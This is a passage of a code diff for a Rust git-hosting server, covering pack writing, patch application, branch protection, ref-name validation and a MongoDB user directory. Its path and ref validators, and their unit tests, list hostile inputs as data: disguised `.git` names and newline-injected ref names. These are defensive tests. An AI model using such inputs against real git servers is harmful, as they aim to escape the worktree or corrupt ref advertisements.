tokio::task::spawn_blocking(move || index_objects(&r, &objects)).await??; + store.upload_pack_files(repo, &data, &index).await +} + +/// Sync half of `write_pack_of_objects`: build the pack in memory, index it. +fn index_objects( + repo: &Repo, + objects: &[(gix_object::Kind, Vec)], +) -> Result<(std::path::PathBuf, std::path::PathBuf)> { + std::fs::create_dir_all(&repo.pack_dir)?; + // The pack exists only in memory until Bundle writes the validated result: no temp file to + // write, re-read and unlink, and nothing for a killed process to leave behind. + let pack = write_object_pack(objects)?; + let odb = repo.odb()?; + let outcome = gix_pack::Bundle::write_to_directory( + &mut std::io::Cursor::new(pack), + Some(&repo.pack_dir), + &mut gix_features::progress::Discard, + &AtomicBool::new(false), + Some(odb), + gix_pack::bundle::write::Options { + thread_limit: None, + iteration_mode: gix_pack::data::input::Mode::Verify, + index_version: gix_pack::index::Version::V2, + object_hash: gix_hash::Kind::Sha1, + alloc_limit_bytes: Some(1024 * 1024 * 1024), + compression: Default::default(), + }, + )?; + if let Some(k) = outcome.keep_path { + let _ = std::fs::remove_file(k); + } + match (outcome.data_path, outcome.index_path) { + (Some(data), Some(index)) => Ok((data, index)), + _ => Err(err("the new objects produced no pack")), + } +} + +/// A pack holding the given objects, written by hand. +/// +/// `gix-pack`'s writer builds from an odb the objects are already in, which is +/// the wrong way round here — the object does not exist yet. A single-object pack +/// is a 12-byte header, one zlib-compressed entry and a trailing checksum, so it +/// is written directly rather than by putting the object somewhere first just to +/// read it back — now not even on disk. +fn write_object_pack(objects: &[(gix_object::Kind, Vec)]) -> Result> { + use std::io::Write; + let mut out: Vec = Vec::new(); + out.extend_from_slice(b"PACK"); + out.extend_from_slice(&2u32.to_be_bytes()); // version + out.extend_from_slice(&(objects.len() as u32).to_be_bytes()); + + for (kind, body) in objects { + // Entry header: type in bits 4-6, size in a base-128 varint whose FIRST + // group is only 4 bits wide — the quirk that makes this format easy to + // get wrong. + let type_bits: u8 = match kind { + gix_object::Kind::Commit => 1, + gix_object::Kind::Tree => 2, + gix_object::Kind::Blob => 3, + gix_object::Kind::Tag => 4, + }; + let mut size = body.len() as u64; + let mut byte = (type_bits << 4) | (size as u8 & 0x0f); + size >>= 4; + while size > 0 { + out.push(byte | 0x80); + byte = (size as u8) & 0x7f; + size >>= 7; + } + out.push(byte); + + let mut z = flate2::write::ZlibEncoder::new(Vec::new(), flate2::Compression::default()); + z.write_all(body)?; + out.extend_from_slice(&z.finish()?); + } + + // The trailer is the SHA-1 of everything before it. + let mut hasher = gix_hash::hasher(gix_hash::Kind::Sha1); + hasher.update(&out); + let checksum = hasher.try_finalize().map_err(|e| err(e.to_string()))?; + out.extend_from_slice(checksum.as_bytes()); + + Ok(out) +} + +// ── patches ───────────────────────────────────────────────────────────────── + +/// What to do to one path in a patch. +pub enum Change { + /// Write these bytes there, creating the file or replacing what is there. + Upsert { + content: Vec, + /// `None` keeps the mode the file already has, so editing a script does + /// not quietly drop its executable bit. New files default to non-executable. + executable: Option, + }, + Delete, +} + +/// Build the tree that results from applying `changes` to `base`. +/// +/// A patch is ONE commit over many files, so the tree is rebuilt once for the +/// whole set rather than once per file — every directory on the way to a change +/// would otherwise be re-encoded once for each file inside it. +/// +/// The new blobs and trees are staged, not written: the caller writes them with +/// the commit, so a failure leaves no tree whose blobs are missing. +pub fn apply_changes( + odb: &impl gix_object::FindExt, + base: Option, + changes: std::collections::BTreeMap, + staging: &mut Staging, +) -> Result { + use gix_object::tree::EntryKind; + + if changes.is_empty() { + return Err(err("a commit needs at least one change")); + } + + let root = match base { + Some(oid) => { + let mut buf = Vec::new(); + gix_object::FindExt::find_tree(odb, &oid, &mut buf) + .map_err(|e| err(format!("reading the base tree: {e}")))? + .into() + } + None => gix_object::Tree::empty(), + }; + let mut editor = gix_object::tree::Editor::new(root, odb, gix_hash::Kind::Sha1); + + for (path, change) in changes { + let parts = split_path(&path)?; + match change { + Change::Upsert { content, executable } => { + // The mode the path already has, so editing a script keeps its + // executable bit. A path that is a symlink or a submodule is + // refused: writing bytes over either is a corrupt tree, not an edit. + // + // Read from the BASE TREE, not from the editor: `Editor::get` only + // sees trees it has already loaded, so for `src/main.rs` it answers + // None before anything has touched `src` -- and every edit to a + // nested file silently came back as non-executable. + let kind = match existing_kind(odb, base, &parts) { + Some(EntryKind::Link) => return Err(err(format!("{path} is a symbolic link"))), + Some(EntryKind::Commit) => return Err(err(format!("{path} is a submodule"))), + Some(EntryKind::Tree) => return Err(err(format!("{path} is a directory"))), + existing => match executable { + Some(true) => EntryKind::BlobExecutable, + Some(false) => EntryKind::Blob, + None if existing == Some(EntryKind::BlobExecutable) => { + EntryKind::BlobExecutable + } + None => EntryKind::Blob, + }, + }; + let blob = staging.add(gix_object::Kind::Blob, content)?; + editor + .upsert(parts.iter(), kind, blob) + .map_err(|e| err(format!("{path}: {e}")))?; + } + // `remove_leaf`, not `remove`: deleting a path that turned out to be a + // directory would take everything under it with it, which is not what + // "delete this file" asked for. + Change::Delete => { + if editor.get(parts.iter()).is_none() { + return Err(err(format!("{path} is not in this branch"))); + } + editor + .remove_leaf(parts.iter()) + .map_err(|e| err(format!("{path}: {e}")))?; + } + } + } + + editor.write(|tree| { + let mut body = Vec::new(); + tree.write_to(&mut body)?; + staging.add(gix_object::Kind::Tree, body) + }) +} + +/// The kind of the entry already at `parts`, read from `base`. +/// +/// Walks the trees rather than asking the editor: the editor knows only what it +/// has loaded, which for an untouched path is nothing. +fn existing_kind( + odb: &impl gix_object::FindExt, + base: Option, + parts: &[&str], +) -> Option { + let mut cur = (base?, gix_object::tree::EntryKind::Tree); + for seg in parts { + if cur.1 != gix_object::tree::EntryKind::Tree { + return None; + } + let mut buf = Vec::new(); + let t = gix_object::FindExt::find_tree(odb, &cur.0, &mut buf).ok()?; + let e = t.entries.iter().find(|e| e.filename == seg.as_bytes())?; + cur = (e.oid.to_owned(), e.mode.kind()); + } + Some(cur.1) +} + +/// A path's components, refused unless every one of them is a name git will +/// store and a client will check out. +/// +/// `..` is the one that matters: a tree entry is a NAME, so a component that +/// means "the parent" cannot be stored — but a client checking the tree out +/// resolves it against the filesystem, which is a write outside the worktree. +// Git itself refuses these on checkout because NTFS/HFS silently normalize +// them away, so a tree that looks safe here can still land as `.git` on the +// filesystem: trailing dots/spaces (`.git.`, `.git `), the 8.3 short name +// (`git~1`), and HFS-ignorable codepoints woven into `.git` (`.g\u{200D}it`). +// `is_dotgit_variant` mirrors git's own `verify_dotfile`/`is_ntfs_dotgit`/ +// `is_hfs_dotgit` checks closely enough to close the same hole. +fn is_dotgit_variant(p: &str) -> bool { + let trimmed = p.trim_end_matches(['.', ' ']); + if trimmed.eq_ignore_ascii_case(".git") { + return true; + } + // 8.3 short name: any case of "git~" followed by digits (git~1, git~2, ...). + if trimmed.len() > 4 && trimmed.as_bytes()[..4].eq_ignore_ascii_case(b"git~") { + let digits = &trimmed[4..]; + if !digits.is_empty() && digits.bytes().all(|b| b.is_ascii_digit()) { + return true; + } + } + // HFS treats these codepoints as invisible, so ".g\u{200D}it" reads as + // ".git" on disk. Strip the ones git's fsck/checkout guard against. + const HFS_IGNORABLE: [char; 5] = ['\u{200c}', '\u{200d}', '\u{2060}', '\u{feff}', '\u{206a}']; + if p.chars().any(|c| HFS_IGNORABLE.contains(&c)) { + let stripped: String = p.chars().filter(|c| !HFS_IGNORABLE.contains(c)).collect(); + if stripped.trim_end_matches(['.', ' ']).eq_ignore_ascii_case(".git") { + return true; + } + } + false +} + +fn split_path(path: &str) -> Result> { + if path.len() > 4096 { + return Err(err("path is too long")); + } + let parts: Vec<&str> = path.split('/').collect(); + for p in &parts { + let bad = p.is_empty() + || *p == "." + || *p == ".." + || is_dotgit_variant(p) + || p.contains('\\') + || p.bytes().any(|b| b < 0x20 || b == 0x7f); + if bad { + return Err(err(format!("{path} is not a valid path"))); + } + } + Ok(parts) +} + +#[cfg(test)] +mod dotgit_variant_tests { + use super::split_path; + + fn rejects(path: &str) { + assert!(split_path(path).is_err(), "expected {path:?} to be rejected"); + } + + fn allows(path: &str) { + assert!(split_path(path).is_ok(), "expected {path:?} to be allowed"); + } + + #[test] + fn rejects_plain_dotgit_case_insensitive() { + rejects(".git"); + rejects(".GIT"); + rejects("a/.Git/b"); + } + + #[test] + fn rejects_ntfs_trailing_dot_or_space_variants() { + rejects(".git."); + rejects(".git "); + rejects(".git..."); + rejects(".git "); + rejects(".GIT."); + } + + #[test] + fn rejects_short_name_variant() { + rejects("git~1"); + rejects("GIT~1"); + rejects("git~42"); + } + + #[test] + fn rejects_hfs_ignorable_codepoint_variant() { + rejects(".g\u{200d}it"); + rejects(".g\u{200c}it"); + rejects(".g\u{feff}it"); + } + + #[test] + fn allows_legitimate_names_containing_git() { + allows("git.txt"); + allows("gitconfig"); + allows("src/git-helpers.rs"); + allows("git~notanumber"); + allows("legit"); + } +} diff --git a/crates/gitbase/src/refs.rs b/crates/gitbase/src/refs.rs new file mode 100644 index 00000000..74ebebbf --- /dev/null +++ b/crates/gitbase/src/refs.rs @@ -0,0 +1,177 @@ +//! Branch protection's gix-touching half, and the `update_refs` entry point. +//! +//! Everything else that used to live here (ref CRUD, repo metadata, `Protection`'s storage, the +//! ref-update transaction) moved to `crates/storage/src/refmeta.rs` along with `Store` itself — +//! Rust's orphan rule forbids an inherent `impl Store` outside the crate that defines `Store`. +//! What stays here is `protection_verdict`/`is_ancestor`, which walk history via `gix-traverse` — +//! a dependency `storage` must not carry — and `update_refs`, the seam between the two: it +//! computes verdicts (the gix-touching step) and hands them to `Store::update_refs_txn` (the +//! transactional compare-and-swap, gix-free, in `storage`). See task-3-report.md. + +pub use rustic_git_storage::refmeta::{Protection, RefUpdate, RepoMeta}; + +use crate::store::{Repo, Store}; +use crate::Result; +use gix_hash::ObjectId; + +/// ponytail: fixed default branch; store per-repo when it becomes configurable +pub const DEFAULT_BRANCH: &str = "main"; + +/// `Some(reason)` if a rule refuses this update. The reason is shown to the +/// person pushing, so it says which rule and which branch. +fn protection_verdict(rules: &[Protection], odb: Option<&gix_odb::Handle>, u: &RefUpdate) -> Option { + let branch = branch_of(&u.name)?; + let rule = rules.iter().find(|r| r.matches(branch))?; + + if u.new.is_none() { + return rule + .no_delete + .then(|| format!("{branch} is protected: it cannot be deleted")); + } + // Creating a branch is not a rewrite; only a move from an existing tip can + // be one. + let (Some(old), Some(new)) = (u.old, u.new) else { return None }; + if !rule.no_force { + return None; + } + // No odb means the check cannot be made, and a rule that cannot be checked + // must refuse rather than wave the push through. + let Some(odb) = odb else { + return Some(format!("{branch} is protected: its history could not be verified")); + }; + (!is_ancestor(odb, old, new, ANCESTRY_BUDGET)) + .then(|| format!("{branch} is protected: force pushes are not allowed")) +} + +/// `refs/heads/x` -> `x`. Only branches are protectable; a tag is not a line of +/// development and `refs/tags/` is already immutable by convention. +fn branch_of(refname: &str) -> Option<&str> { + refname.strip_prefix("refs/heads/") +} + +/// Is `old` reachable from `new`? That is what makes a push a fast-forward. +/// +/// Bounded: a walk that has not found the old tip within `budget` commits is +/// treated as NOT an ancestor, so an enormous rewrite is refused rather than +/// allowed by exhaustion. Refusing is the safe direction — the push fails loudly +/// and a person can turn the rule off, where the reverse silently loses history. +fn is_ancestor(odb: &gix_odb::Handle, old: ObjectId, new: ObjectId, budget: usize) -> bool { + old == new + || gix_traverse::commit::Simple::new(Some(new), odb.clone()) + .take(budget) + .any(|info| info.is_ok_and(|i| i.id == old)) +} + +/// How far back a fast-forward check will look before giving up and refusing. +const ANCESTRY_BUDGET: usize = 50_000; + +/// git's ref-name rules (git-check-ref-format), enough of them to keep hostile names out of +/// pkt-line output (control chars, newlines) and out of other repos via fork's ref copy. +pub fn valid_ref_name(name: &str) -> bool { + if !name.starts_with("refs/") + || name.len() > 512 + || name.ends_with('/') + || name.ends_with(".lock") + // `refs/heads` is a legal git name and an illegal one here: listings and protection + // rules treat each namespace as a directory, and a ref AT the namespace shadows them. + || name.splitn(3, '/').count() < 3 + { + return false; + } + if name.contains("..") || name.contains("//") || name.contains("@{") || name.contains("\\") { + return false; + } + if name + .split('/') + .any(|c| c.is_empty() || c.starts_with('.') || c.ends_with(".lock")) + { + return false; + } + name.bytes() + .all(|b| b > 0x20 && b != 0x7f && !b"~^:?*[".contains(&b)) +} + +/// All-or-nothing compare-and-swap of refs in one serializable txn. +/// +/// Enforced HERE rather than in the push path, so ssh and http and every future caller are +/// covered by one check — the same reasoning as the cache invalidation in +/// `Store::update_refs_txn`. Loaded once per batch; a repo with no rules pays one empty scan. The +/// verdicts are decided on a blocking thread: a no-force rule walks up to `ANCESTRY_BUDGET` +/// commits, which is not work for a runtime worker that every other request on this node shares. +pub async fn update_refs(store: &Store, repo: &Repo, updates: &[RefUpdate]) -> Result>> { + let rules = store.protections(&repo.owner, &repo.name).await?; + let mut verdicts: Vec> = if rules.is_empty() { + vec![None; updates.len()] + } else { + let odb = repo.odb().ok(); + let ups: Vec = updates.to_vec(); + tokio::task::spawn_blocking(move || { + ups.iter().map(|u| protection_verdict(&rules, odb.as_ref(), u)).collect() + }) + .await? + }; + // The name rule lives here for the same reason the protection rules do: receive-pack checks + // early to fail before the pack, but the merge/patch routes format names from a request body, + // and a ref written under `a\n refs/heads/main` corrupts every later advertisement. + // Debug-formatted so the reason cannot carry the control bytes it is refusing. + for (v, u) in verdicts.iter_mut().zip(updates) { + if !valid_ref_name(&u.name) { + *v = Some(format!("{:?} is not a valid ref name", u.name)); + } + } + store.update_refs_txn(repo, updates, verdicts).await +} + +/// `store.update_refs(repo, updates)` method-call sugar over the free function above, so callers +/// (git push, the merge/rebase HTTP routes, every integration test) keep the call syntax they had +/// before `update_refs` split across two crates. An extension trait, not an inherent `impl Store`, +/// for the same orphan-rule reason as `gc::RepackExt`/`registry::store::ImageExt` — import it +/// wherever `.update_refs(...)` is called. +#[allow(async_fn_in_trait)] +pub trait UpdateRefsExt { + async fn update_refs(&self, repo: &Repo, updates: &[RefUpdate]) -> Result>>; +} + +impl UpdateRefsExt for Store { + async fn update_refs(&self, repo: &Repo, updates: &[RefUpdate]) -> Result>> { + update_refs(self, repo, updates).await + } +} + +#[cfg(test)] +mod ref_name_tests { + use super::valid_ref_name; + + #[test] + fn valid_ref_name_table() { + for ok in ["refs/heads/main", "refs/tags/v1.0", "refs/heads/feature/x-y_z", "refs/notes/commits"] { + assert!(valid_ref_name(ok), "{ok} should be accepted"); + } + for bad in [ + "refs/heads", // the namespace itself; a ref here shadows every branch + "refs/tags", + "refs", + "refs/", + "refs/heads/", + "heads/main", // not under refs/ + "refs/heads/.hidden", + "refs/heads/a..b", + "refs/heads/a.lock", + "refs/heads/a b", + "refs/heads/a~b", + "refs/heads/a^b", + "refs/heads/a:b", + "refs/heads/a?b", + "refs/heads/a*b", + "refs/heads/a[b", + "refs/heads/a\\b", + "refs/heads/a@{b", + "refs/heads//x", + "refs/heads/a\x7fb", + "refs/heads/a\nb", + ] { + assert!(!valid_ref_name(bad), "{bad:?} should be refused"); + } + assert!(!valid_ref_name(&format!("refs/heads/{}", "a".repeat(600))), "too long"); + } +} diff --git a/crates/pulls/Cargo.toml b/crates/pulls/Cargo.toml new file mode 100644 index 00000000..4afe9bb9 --- /dev/null +++ b/crates/pulls/Cargo.toml @@ -0,0 +1,32 @@ +[package] +name = "rustic-git-pulls" +version = "0.1.0" +edition = "2021" +license = "SSPL-1.0" + +[lib] +name = "rustic_git_pulls" + +[features] +# The mergeability check is a gix graph walk; the worker never runs it and must not link gix +# to have the pull-request model. The server and the facade turn it on. +check = ["dep:gix-hash", "dep:rustic-git-gitbase"] + +[dependencies] +tracing = { workspace = true } +rustic-git-core = { path = "../core" } +rustic-git-storage = { path = "../storage" } +rustic-git-gitbase = { path = "../gitbase", optional = true } +gix-hash = { workspace = true, optional = true } +slatedb = { workspace = true } +tokio = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } +futures = { workspace = true } +mongodb = { workspace = true } +reqwest = { workspace = true } +chrono = { workspace = true } +libc = { workspace = true } # merge_worker: kill a timed-out git's whole process group + +[dev-dependencies] +tempfile = { workspace = true } diff --git a/src/directory.rs b/crates/pulls/src/directory/mod.rs similarity index 52% rename from src/directory.rs rename to crates/pulls/src/directory/mod.rs index 9c01deee..2d868737 100644 --- a/src/directory.rs +++ b/crates/pulls/src/directory/mod.rs @@ -17,10 +17,16 @@ //! creator an owner is one atomic write — no transaction, and no window where a //! team exists with nobody able to administer it. -use crate::{err, Result}; +mod teams; +pub use teams::{ + check_pins, AcceptInvite, AddMember, DeleteTeam, Invite, Membership, Team, TeamProfile, + MAX_PINS, +}; + use mongodb::bson::{doc, DateTime}; use mongodb::options::ClientOptions; use mongodb::{Client, Collection, IndexModel}; +use rustic_git_core::{err, Result}; use serde::{Deserialize, Serialize}; #[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] @@ -40,19 +46,6 @@ pub enum Role { Member, } -#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] -#[serde(rename_all = "camelCase")] -pub struct Team { - /// The slug. Also the namespace in every URL and clone address, which is why - /// it is validated as an owner and can never be changed. - #[serde(rename = "_id")] - pub slug: String, - pub name: String, - pub created_by: String, - pub created_at: DateTime, - pub members: Vec, -} - /// A person. The identity provider owns who they are; this records that they /// exist here, so a team can name its members and a session can be tied to a row /// rather than to a claim in a token. @@ -97,25 +90,23 @@ pub enum HandleKind { /// A repo, as the directory knows it. /// -/// The git fleet owns the repo's CONTENTS; this owns the fact that it exists and -/// what it is called. The split is not duplication — they answer different -/// questions. Each repo has its own database under `repo/{owner}/{name}` in the -/// object store, so "which repos does this owner have, and what are they" cannot -/// be answered there without opening every one of them, which is the second-writer -/// problem the whole design exists to avoid. A LIST of that prefix yields names -/// and nothing else: no description, no visibility, no timestamps. +/// A repo row as it was written before repos carried their own truth. Nothing writes these any +/// more: a repo's name, description, visibility and creation instant live in its own database, +/// and the listing markers in the object store answer "which repos does this owner have" without +/// opening one. The rows survive as the source for `all_repos`, the one-shot marker backfill, +/// and as the rollback path — so the field comments below describe what a row MEANT, not what +/// any of it decides today. #[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] #[serde(rename_all = "camelCase")] pub struct Repo { - /// `owner/name` — the clone path, and the reason uniqueness is the database's - /// rather than a check-then-insert two requests could interleave. + /// `owner/name` — the clone path. This used to be what made a name unique; the owning + /// node's check-then-create is, now that both creates of one name route to it. #[serde(rename = "_id")] pub id: String, pub owner: String, pub name: String, - /// Public repos are readable by strangers. Mirrors the flag the owning git - /// node enforces; this copy exists so a listing does not have to ask the node - /// about every row. The node's copy is the one that AUTHORIZES. + /// Public repos are readable by strangers. Always a mirror of the flag the owning git node + /// enforces, and the seed the marker backfill copies into a listing marker. pub public: bool, #[serde(default)] pub description: String, @@ -176,71 +167,16 @@ pub enum CredentialKind { /// — and because git itself keeps them apart. The same key may be registered /// as both, which is why the id carries the kind. SigningKey, + /// A CLI login. The token is a JWT, so nothing secret is stored — the row IS the + /// revocation list: its `_id` is the token's `jti`, and a `cli` token whose row is + /// gone authenticates nothing. Deleting the row is therefore the whole of revoking, + /// and a token issued without one is inert rather than unrevocable. + CliToken, } -/// A proposed change: take what is on `head` and put it on `base`. -/// -/// Metadata only. The commits, the diff and the merge are git's, computed from -/// the refs this names — nothing here duplicates what the object database already -/// knows, so a PR cannot drift from the branch it is about. -#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] -#[serde(rename_all = "camelCase")] -pub struct PullRequest { - /// `owner/name#number` — unique by construction, and the thing a URL names. - #[serde(rename = "_id")] - pub id: String, - pub repo: String, - /// Per repo, starting at 1. What people call it. - pub number: i64, - pub title: String, - #[serde(default)] - pub body: String, - /// Branch SHORT names. Stored rather than resolved oids: a PR follows its - /// branch, so a push to `head` updates what the PR contains, which is what - /// everyone expects and what makes review iterative. - pub base: String, - pub head: String, - pub state: PullState, - pub author: String, - pub created_at: DateTime, - #[serde(default, skip_serializing_if = "Option::is_none")] - pub merged_at: Option, - #[serde(default)] - pub comments: Vec, - /// Present once someone has asked for it to be merged. - #[serde(default, skip_serializing_if = "Option::is_none")] - pub merge: Option, - /// Kept fresh by the worker; read by the page. - #[serde(default, skip_serializing_if = "Option::is_none")] - pub mergeability: Option, - /// When a worker last TOOK this change to look at — which is not the same as - /// when it last answered. Top-level and separate from `mergeability` so a - /// claim can be stamped without writing a half-built answer into it. - #[serde(default, skip_serializing_if = "Option::is_none")] - pub check_at: Option, -} - -/// Whether a change could be merged, worked out ahead of being asked. -/// -/// Computed in the background because the page must be able to say "this -/// conflicts" BEFORE anyone clicks — and because working it out is a real merge -/// attempt, not a lookup. -/// -/// It records the two tips it was computed FROM. That is what makes it safe to -/// cache: the git nodes that accept pushes hold no directory connection and -/// cannot invalidate anything, so the only honest test of "is this still true" is -/// whether the branches have moved since. -#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] -#[serde(rename_all = "camelCase")] -pub struct Mergeability { - pub state: MergeableState, - /// The tips this answer was computed from. - pub base_oid: String, - pub head_oid: String, - pub checked_at: DateTime, - #[serde(default, skip_serializing_if = "Option::is_none")] - pub detail: Option, -} +/// Pull requests live in the repo's own database now; the types are defined there so there is +/// one shape, not two that can drift, and migration reads the Mongo rows into them. +pub use crate::pulls::{Comment, MergeJob, Mergeability, PullRequest, PullState}; /// GitHub's vocabulary, because a client that already branches on theirs should /// not have to learn a second one. @@ -257,34 +193,6 @@ pub enum MergeableState { Unknown, } -/// A merge someone asked for, and how far it got. -/// -/// Merging is a job rather than a request/response because it can be slow: a -/// three-way merge on a large tree is real work, and doing it inside the HTTP -/// call would tie up a request for as long as it takes — on the git nodes, which -/// are also serving pushes. -#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] -#[serde(rename_all = "camelCase")] -pub struct MergeJob { - pub state: MergeState, - /// `fast-forward` | `squash` | `merge` | `rebase`. - pub strategy: String, - pub requested_by: String, - pub requested_at: DateTime, - /// When a worker took it. Also the lease: a job claimed long ago is assumed - /// abandoned and may be claimed again, so a worker dying mid-merge does not - /// strand the change forever. - #[serde(default, skip_serializing_if = "Option::is_none")] - pub claimed_at: Option, - /// Who took it — a token unique to one claimant, so winning the claim can be - /// CONFIRMED rather than assumed. See `claim_merge`. - #[serde(default, skip_serializing_if = "Option::is_none")] - pub claimed_by: Option, - /// Why it stopped, when it did not succeed — written for the person waiting. - #[serde(default, skip_serializing_if = "Option::is_none")] - pub detail: Option, -} - #[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq)] #[serde(rename_all = "lowercase")] pub enum MergeState { @@ -298,22 +206,6 @@ pub enum MergeState { Failed, } -#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq)] -#[serde(rename_all = "lowercase")] -pub enum PullState { - Open, - Merged, - Closed, -} - -#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] -#[serde(rename_all = "camelCase")] -pub struct Comment { - pub author: String, - pub body: String, - pub at: DateTime, -} - /// A passkey — a WebAuthn credential someone signs in with. /// /// Belongs to a PERSON, not a namespace, unlike a token or an ssh key: those are @@ -349,6 +241,12 @@ pub struct Passkey { /// These are routes, or words a stranger would read as official. const RESERVED: &[&str] = &[ "admin", "api", "app", "assets", "auth", "billing", "blog", "dashboard", "docs", "help", + // `/invite/{token}` and `/verify/{token}` are routes in the web app; a person with either + // name would shadow one. + "invite", "invites", "verify", + // `/cli/authorize` is a top-level web route (the device-auth handoff); a person named `cli` + // would shadow it. + "cli", "kloudlite", "login", "logout", "new", "root", "settings", "signup", "static", "status", "support", "system", "team", "teams", "user", "users", "www", ]; @@ -381,22 +279,64 @@ pub fn check_handle(h: &str) -> Result<()> { if RESERVED.contains(&h) { return Err(err("that handle is reserved")); } - if !crate::store::valid_owner(h) { + if !rustic_git_storage::store::valid_owner(h) { return Err(err("that handle cannot be used")); } Ok(()) } pub struct Directory { - teams: Collection, + pub(crate) teams: Collection, + /// Migration only, both of these: repos and pull requests are truth in the owning repo's own + /// database now. `all_repos` seeds listing markers, `pulls_for` seeds a repo's pull history + /// once. They are read, never written, and the rows stay in place as the rollback path. repos: Collection, + pulls: Collection, credentials: Collection, passkeys: Collection, - pulls: Collection, - /// One document per repo holding the last PR number handed out. - counters: Collection, users: Collection, handles: Collection, + invites: Collection, + signins: Collection, + cli_logins: Collection, +} + +/// A magic sign-in link, keyed by the HASH of its token — same shape as an invitation, for +/// the same reason: the collection must not be usable to sign in as anyone. Redeeming deletes +/// the row first, so a link works exactly once. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +#[serde(rename_all = "camelCase")] +pub struct SignInLink { + #[serde(rename = "_id")] + pub id: String, + pub email: String, + pub created_at: DateTime, + pub expires_at: DateTime, +} + +/// A CLI login in flight: `kl login` asked for a code, and a browser has not yet approved it — +/// or has, and the CLI has not yet collected the token. A row rather than memory because the +/// api runs more than one replica and the code is created on one pod and approved on another. +/// The token exists only here between approval and collection, which is why approval — not +/// polling — is what mints it, and why collecting deletes the row. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +#[serde(rename_all = "camelCase")] +pub struct CliLogin { + /// The code a human reads off one screen and types into another. + #[serde(rename = "_id")] + pub code: String, + /// The opaque id the CLI polls with. Separate from the code because the code is SHOWN to a + /// person and the poll id is not: knowing the code someone is reading aloud must not be + /// enough to steal the token it becomes. + pub poll: String, + pub device: String, + pub expires_at: DateTime, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub token: Option, + /// The token's `exp`, epoch seconds — carried so the poll can answer `expiresAt` without + /// decoding the token it is handing over. + #[serde(default)] + pub token_exp: u64, } impl Directory { @@ -415,16 +355,98 @@ impl Directory { credentials: db.collection("credentials"), passkeys: db.collection("passkeys"), pulls: db.collection("pulls"), - counters: db.collection("counters"), users: db.collection("users"), handles: db.collection("handles"), + invites: db.collection("invites"), + signins: db.collection("signins"), + cli_logins: db.collection("cli_logins"), }; dir.ensure_indexes().await?; + match dir.lowercase_signing_fingerprints().await { + Ok(0) => {} + Ok(n) => tracing::info!(rows = n, "directory: lowercased signing-key fingerprint rows"), + Err(e) => tracing::warn!(error = %e, "directory: fingerprint repair skipped"), + } Ok(dir) } // ── people ────────────────────────────────────────────────────────────── + pub async fn create_signin(&self, link: &SignInLink) -> Result<()> { + self.signins + .insert_one(link) + .await + .map(|_| ()) + .map_err(|e| err(format!("mongo: {e}"))) + } + + /// The email behind a link, spending it. `None` for spent, expired or made up alike. + /// Expiry is checked in the delete filter itself, so an expired row can never be redeemed + /// by racing the read. ponytail: expired rows are never swept; add a sweep if the + /// collection ever matters. + pub async fn redeem_signin(&self, id: &str) -> Result> { + self.signins + .find_one_and_delete(doc! { "_id": id, "expiresAt": { "$gt": DateTime::now() } }) + .await + .map(|r| r.map(|l| l.email)) + .map_err(|e| err(format!("mongo: {e}"))) + } + + // ── cli logins ────────────────────────────────────────────────────────── + // + // ponytail: expired rows are never swept, same as sign-in links — every read filters on + // `expiresAt`, so a stale row is inert. Add a TTL index (or a sweep) if the collection + // ever matters. + + pub async fn create_cli_login(&self, l: &CliLogin) -> Result<()> { + self.cli_logins + .insert_one(l) + .await + .map(|_| ()) + .map_err(|e| err(format!("mongo: {e}"))) + } + + /// A code still waiting for approval. `None` for approved, expired and unknown alike — + /// callers answer all three the same way, so a guesser learns nothing. + pub async fn cli_login_pending(&self, code: &str) -> Result> { + self.cli_logins + .find_one(doc! { "_id": code, "expiresAt": { "$gt": DateTime::now() }, "token": null }) + .await + .map_err(|e| err(format!("mongo: {e}"))) + } + + /// Attach the minted token to a waiting code. `false` means it was not waiting — unknown, + /// expired, or approved already by someone else's click. The whole check is the update's + /// own filter, so two approvals of one code cannot both win. + pub async fn approve_cli_login(&self, code: &str, token: &str, exp: u64) -> Result { + self.cli_logins + .find_one_and_update( + doc! { "_id": code, "expiresAt": { "$gt": DateTime::now() }, "token": null }, + doc! { "$set": { "token": token, "tokenExp": exp as i64 } }, + ) + .await + .map(|r| r.is_some()) + .map_err(|e| err(format!("mongo: {e}"))) + } + + /// What the CLI polls. `Ok(None)` is a poll id that names nothing live; `Some(row)` with no + /// token is "still waiting"; `Some(row)` with a token is the token, exactly once — the + /// delete IS the read, so a second poller finds nothing. + pub async fn take_cli_login(&self, poll: &str) -> Result> { + let live = doc! { "poll": poll, "expiresAt": { "$gt": DateTime::now() } }; + let mut approved = live.clone(); + approved.insert("token", doc! { "$ne": null }); + if let Some(row) = self + .cli_logins + .find_one_and_delete(approved) + .await + .map_err(|e| err(format!("mongo: {e}")))? + { + return Ok(Some(row)); + } + self.cli_logins.find_one(live).await.map_err(|e| err(format!("mongo: {e}"))) + } + /// Record that this person exists and has just been seen. Called on every /// sign-in, so it must be an upsert: the first one creates the row, the rest /// only move `lastSeenAt` and refresh the display name. @@ -454,7 +476,7 @@ impl Directory { /// Reserve `handle` for `kind`, held by `held_by`. `Ok(false)` means it is /// already taken — by a user or a team, which is the point of one collection. - async fn reserve(&self, handle: &str, kind: HandleKind, held_by: &str) -> Result { + pub(crate) async fn reserve(&self, handle: &str, kind: HandleKind, held_by: &str) -> Result { let doc = Handle { handle: handle.to_string(), kind, @@ -468,7 +490,7 @@ impl Directory { } } - async fn release(&self, handle: &str) -> Result<()> { + pub(crate) async fn release(&self, handle: &str) -> Result<()> { self.handles .delete_one(doc! { "_id": handle }) .await @@ -480,8 +502,8 @@ impl Directory { /// /// Reserving comes first and is the gate: two people racing for one handle /// both reach the insert, and exactly one wins. Only then is it written to the - /// user. If that second write fails the reservation is released, so a failure - /// cannot leave a handle held by nobody. + /// user. The write itself is conditional on the username still being absent, so + /// two claims by one person cannot both land; the loser gives its reservation back. pub async fn claim_username(&self, email: &str, handle: &str) -> Result> { let email = email.trim().to_lowercase(); let handle = 